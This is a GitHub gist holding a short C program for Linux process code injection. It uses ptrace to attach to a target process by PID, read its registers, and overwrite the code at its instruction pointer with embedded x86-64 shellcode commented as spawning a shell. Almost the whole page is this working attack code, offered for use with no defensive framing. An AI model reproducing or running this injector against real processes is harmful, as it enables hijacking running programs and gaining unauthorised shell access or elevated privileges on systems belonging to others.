Skip to content

Instantly share code, notes, and snippets.

@0x6d61
Created June 30, 2020 20:41
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save 0x6d61/dfee6a0c0c6985f1c2e9584ec0a5c5ea to your computer and use it in GitHub Desktop.
Save 0x6d61/dfee6a0c0c6985f1c2e9584ec0a5c5ea to your computer and use it in GitHub Desktop.
ptrace code injection
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <sys/ptrace.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <unistd.h>
#include <sys/user.h>
#include <sys/reg.h>
#include <errno.h>
#include <elf.h>
#include <sys/mman.h>
#include <fcntl.h>
#define SHELLCODE_SIZE 32
/* Spawn a shell */
unsigned char *shellcode =
"\xeb\x10\x48\x31\xc0\x5f\x48\x31"
"\xf6\x48\x31\xd2\x48\x83\xc0\x3b"
"\x0f\x05\xe8\xeb\xff\xff\xff\x2f"
"\x62\x69\x6e\x2f\x2f\x73\x68";
int inject_data (pid_t pid, unsigned char *src, void *dst, int len) {
int i;
uint32_t *s = (uint32_t *) src;
uint32_t *d = (uint32_t *) dst;
for (i = 0; i < len; i+=4, s++, d++)
{
printf("%p,%p\n",d,s);
if ((ptrace (PTRACE_POKETEXT, pid, d, *s)) < 0)
{
perror ("PTRACE_POKETEXT:");
return -1;
}
}
return 0;
}
int main(int argc, char *argv[]) {
pid_t target_pid;
struct user_regs_struct regs;
target_pid = atoi (argv[1]);
printf ("\n\n[+] Tracing process %d\n", target_pid);
if ((ptrace (PTRACE_ATTACH, target_pid, NULL, NULL)) < 0)
{
perror ("PTRACE_ATTACH:");
exit (1);
}
printf ("[+] Waiting for process...\n");
wait (NULL);
printf ("[+] Reading Registers...\n");
if ((ptrace (PTRACE_GETREGS, target_pid, NULL, &regs)) < 0)
{
perror ("PTRACE_GETREGS:");
exit (1);
}
inject_data (target_pid, shellcode, (void*)regs.rip, SHELLCODE_SIZE);
regs.rip += 2;
printf ("[+] Setting instruction pointer to %p\n", (void*)regs.rip);
if ((ptrace (PTRACE_DETACH, target_pid, NULL, NULL)) < 0)
{
perror ("PTRACE_DETACH:");
exit (1);
}
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment